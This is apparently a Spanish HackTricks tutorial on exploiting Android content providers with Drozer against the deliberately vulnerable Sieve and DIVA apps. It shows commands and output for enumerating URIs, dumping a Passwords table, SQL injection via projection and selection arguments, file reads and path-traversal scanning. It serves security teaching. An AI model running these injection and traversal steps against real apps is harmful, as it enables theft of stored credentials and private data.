# Explotando Proveedores de Contenido ## Explotando Proveedores de Contenido {{#include ../../../banners/hacktricks-training.md}} ## Introducción Los datos son **suministrados de una aplicación a otras** a solicitud por un componente conocido como un **proveedor de contenido**. Estas solicitudes son gestionadas a través de los métodos de la **clase ContentResolver**. Los proveedores de contenido pueden almacenar sus datos en varias ubicaciones, como una **base de datos**, **archivos** o a través de una **red**. En el archivo _Manifest.xml_, se requiere la declaración del proveedor de contenido. Por ejemplo: ```xml ``` Para acceder a `content://com.mwr.example.sieve.DBContentProvider/Keys`, se necesita el permiso `READ_KEYS`. Es interesante notar que la ruta `/Keys/` es accesible en la siguiente sección, que no está protegida debido a un error del desarrollador, quien aseguró `/Keys` pero declaró `/Keys/`. **Quizás puedas acceder a datos privados o explotar alguna vulnerabilidad (SQL Injection o Path Traversal).** ## Obtener información de **content providers expuestos** ``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` Es posible reunir cómo llegar al **DBContentProvider** comenzando las URIs con “_content://_”. Este enfoque se basa en los conocimientos adquiridos al usar Drozer, donde se encontraba información clave en el _/Keys_ directorio. Drozer puede **adivinar y probar varias URIs**: ``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` Deberías también revisar el **código de ContentProvider** para buscar consultas: ![](<../../../images/image (121) (1) (1) (1).png>) Además, si no puedes encontrar consultas completas, podrías **ver qué nombres están declarados por el ContentProvider** en el método `onCreate`: ![](<../../../images/image (564).png>) La consulta será como: `content://name.of.package.class/declared_name` ## **Content Providers respaldados por bases de datos** Probablemente la mayoría de los Content Providers se utilizan como **interfaz** para una **base de datos**. Por lo tanto, si puedes acceder a ella, podrías **extraer, actualizar, insertar y eliminar** información.\ Verifica si puedes **acceder a información sensible** o intenta cambiarla para **eludir mecanismos de autorización**. Al revisar el código del Content Provider, **mira** también las **funciones** nombradas como: _query, insert, update y delete_: ![](<../../../images/image (887).png>) ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) Porque podrás llamarlas ### Consultar contenido ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` ### Insertar contenido Consultando la base de datos aprenderás el **nombre de las columnas**, luego, podrías insertar datos en la DB: ![](<../../../images/image (98).png>) ![](<../../../images/image (173).png>) _Nota que en insertar y actualizar puedes usar --string para indicar cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean_ ### Actualizar contenido Conociendo el nombre de las columnas también podrías **modificar las entradas**: ![](<../../../images/image (780).png>) ### Eliminar contenido ![](<../../../images/image (423).png>) ### **Inyección SQL** Es simple probar la inyección SQL **(SQLite)** manipulando los **campos de proyección** y **selección** que se pasan al proveedor de contenido.\ Al consultar el Proveedor de Contenido hay 2 argumentos interesantes para buscar información: _--selection_ y _--projection_: ![](<../../../images/image (784).png>) Puedes intentar **abusar** de estos **parámetros** para probar **inyecciones SQL**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` **Descubrimiento automático de SQLInjection por Drozer** ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: android_metadata notes sqlite_sequence ``` ## **Proveedores de Contenido respaldados por el Sistema de Archivos** Los proveedores de contenido también se pueden usar para **acceder a archivos:** ![](<../../../images/image (407).png>) ### Leer **archivo** Puedes leer archivos desde el Proveedor de Contenido ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Traversal de Ruta** Si puedes acceder a archivos, puedes intentar abusar de un Traversal de Ruta (en este caso no es necesario, pero puedes intentar usar "_../_" y trucos similares). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` **Descubrimiento automático de Path Traversal por Drozer** ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` ## Referencias - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf) {{#include ../../../banners/hacktricks-training.md}}